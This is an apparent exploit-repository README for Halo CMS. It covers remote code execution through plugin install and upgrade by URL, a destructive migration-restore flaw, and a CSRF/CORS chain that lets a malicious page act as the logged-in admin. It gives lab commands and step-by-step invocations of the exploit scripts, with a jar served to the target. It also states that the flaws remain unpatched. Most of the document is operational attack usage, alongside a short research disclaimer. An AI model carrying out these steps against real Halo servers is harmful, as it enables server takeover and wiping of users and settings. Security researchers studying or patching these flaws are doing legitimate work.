## https://sploitus.com/exploit?id=2DCD3BB6-8EED-5D26-AE57-60BB3EC94C6A
# halo plugin rce from a url
halo's console lets admins install and upgrade plugins by pasting a url.
it fetches whatever url, installs the jar, and the jar's code runs on the
server. no scheme checks, no host checks, redirects followed, and the
plugin manager loads the extension classes straight out of the jar.
that is cve-2026-67919 (install-from-uri / upgrade-from-uri),
cve-2026-67920 (migration restore), cve-2026-67921 (csrf/cors chain).
all three verified against halohub/halo:2.25.4 in a docker lab, august
2026. main is still unpatched.
the fun part: it's also a browser-only chain. the console api does not
check the xsrf token, the session cookie is samesite=none, and cors
reflects any origin with credentials. a page the admin visits can do it
all with fetch(). see exploit/csrf.html.
## lab
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# visit /system/setup once, or script it (see notes/findings.md)
serve a jar from the host (bound to 0.0.0.0, the container reaches the
host as host.docker.internal):
python3 -m http.server 8123
## two-request rce
build the malicious plugin (needs jdk 17):
cd plugin && sh build.sh
then:
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
## one-request rce
any already-installed plugin can be replaced in a single request; the jar
just needs the same metadata.name and a higher version. poc-sitemap.jar
is that variant for the built-in PluginSitemap (1.x -> 2.0.0).
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
## from a browser, no token needed
open exploit/csrf.html, point it at your halo, click. that's the
cve-2026-67921 -> cve-2026-67919 chain: no xsrf header, session cookie
goes cross-site, cors allows the readback.
## who can do this
admin only, no matter what the cisa description says. anonymous gets a
302, guest gets a 403, admin gets code execution. the csrf chain keeps it
interesting because the admin is already logged in when the page runs.
## migration restore (cve-2026-67920)
restorations fetch an arbitrary url (another fetch primitive), write the
zip's workdir/ into the halo work dir unsanitized, and replace the whole
extension store with the backup's contents. an empty extensions.data
wipes users, role bindings and settings. use exploit/migration_restore.py
on a throwaway box only.
## what's in here
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, prebuilt jars
notes/ findings.md (privilege ladder, fetcher behavior,
cookie/cors details, fix status)
for the 1-request variant, edit plugin/plugin.yaml (metadata.name +
version) and rebuild; or use the prebuilt poc-sitemap.jar against a halo
that has PluginSitemap installed.
disclaimer: for research on systems you own. the migration one in
particular will wreck the instance it runs against.
## credits
chris jagdeo (k0nnect)